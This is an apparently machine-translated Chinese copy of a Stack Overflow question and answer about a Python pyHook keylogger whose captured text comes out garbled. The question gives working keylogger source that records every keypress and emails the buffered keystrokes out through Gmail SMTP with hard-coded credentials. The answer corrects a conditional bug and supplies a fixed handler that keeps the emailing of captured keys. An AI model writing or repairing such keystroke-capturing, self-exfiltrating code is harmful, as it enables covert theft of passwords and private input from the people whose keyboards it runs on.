在python中发送文本时,文本被转换为中文

时间:2014-10-23 19:32:37

标签: python text pyhook

我正在玩pyHook库,我决定看看我是否可以制作一个关键记录器。

问题在于,当我尝试将该文本保存到文件或通过电子邮件发送给自己时,有一半时间会将其转换为类似的内容

I⁡洠湤楮朠浃獥汦⁡敭敭敭愠愠愠愠步步

当我打印文本时,它看起来很好。但是在将文本保存到文本文件以及通过电子邮件发送给自己时,我都遇到过这种情况。

import pyHook
import pythoncom
from re import sub
#Module for emailing out captured text
from Emailer import MakeEmail
#Global variable that will hold the captured text in-between emails 
captured = ''

SMTP_server = 'smtp.gmail.com'

username = 'MyAltAccount@gmail.com'

passwd = 'password'

destination = "myAccount@gmail.com"

email = MakeEmail(SMTP_server, destination, username, passwd, "Key Logger output", "")

def onKeyboardEvent(event):
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 or 8:
        captured += unichr(event.Ascii)
        if len(captured) > 30:
            print captured
            email.content = sub("\ \ *", " ", captured)
            email.send_email()
            captured= ''

hm = pyHook.HookManager()

hm.KeyDown = onKeyboardEvent

hm.HookKeyboard()

pythoncom.PumpMessages()

我不能对这个错误做出正面或反面。

1 个答案:

答案 0 :(得分:0)

与@iCodez评论一样,第23行应该写成:

if event.Ascii != 0 and event.Ascii != 8:

以下是on_keyboard_event函数的固定版本:

def on_keyboard_event(event):
    """Function is called everytime a key is pressed
     to add that key to the list of captured keys"""
    global captured
    if event.Ascii == 5 or not isinstance(event.Ascii, int):
        _exit(1)
    if event.Ascii != 0 and event.Ascii != 8:
        captured += unichr(event.Ascii)
        captured = sub("  *", " ", captured)
        if len(captured) > 99:
            email.content = captured
            email.send_email()
            captured =  ''